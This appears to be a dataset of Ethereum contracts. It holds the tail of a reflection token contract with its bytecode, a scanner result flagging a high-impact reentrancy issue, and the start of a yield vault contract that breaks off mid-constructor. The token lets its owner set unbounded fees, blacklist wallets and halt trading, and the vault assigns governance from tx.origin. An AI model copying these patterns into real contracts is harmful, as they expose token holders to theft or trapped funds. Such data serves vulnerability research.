}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b457600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b2237b3b3b2b9102a37b5b2b760a11b60208201525b60405161023c9190611a28565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7d565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa9565b6106b5565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611aea565b61071e565b34801561037057600080fd5b506101fc61037f366004611b17565b610769565b34801561039057600080fd5b506101fc6107b1565b3480156103a557600080fd5b506102c46103b4366004611aea565b6107fc565b3480156103c557600080fd5b506101fc61081e565b3480156103da57600080fd5b506101fc6103e9366004611b32565b610892565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611aea565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b17565b6108c1565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260068152652227a3a3a2a960d11b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026561050f366004611a7d565b610976565b34801561052057600080fd5b5061026561052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c4610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220149fb18fc51e5f1be20bff434761c7c6dd9974edbeae1f11acd99932e6166e9e64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,316 |
0x1d8a3ff449c2baab6aee62f514ae0db7cde4ae75 | pragma solidity ^0.5.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
function rewards() external view returns (address);
}
// vault的作用是 用户充值、提现、领取奖励
// abi文件参考: https://github.com/ystar-foundation/YstarFarming/blob/master/Vault/abi/vault.json
contract Vault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
IERC20 public YFToken; // YF合约地址
uint public min = 9500;
uint public constant max = 10000;
uint public earnLowerlimit; //池内空余资金到这个值就自动earn
address public governance;
address public controller;
struct Player {
uint256 stake; // 质押总数
uint256 payout; // 支出
uint256 total_out; // 已经领取的分红
}
mapping(address => Player) public player_; // (player => data) player data
struct Global {
uint256 total_stake; // 总质押总数
uint256 total_out; // 总分红金额
uint256 earnings_per_share; // 每股分红
}
mapping(uint256 => Global) public global_; // (global => data) global data
mapping (address => uint256) public deposittime;
uint256 constant internal magnitude = 10**40; // 10的40次方
address constant public yf = address(0x96F9632b25f874769969ff91219fCCb6ceDf26D2);
string public getName;
constructor (address _token, uint256 _earnLowerlimit) public {
token = IERC20(_token);
getName = string(abi.encodePacked("yf:Vault:", ERC20Detailed(_token).name()));
earnLowerlimit = _earnLowerlimit*1e18;
YFToken = IERC20(yf);
governance = tx.origin;
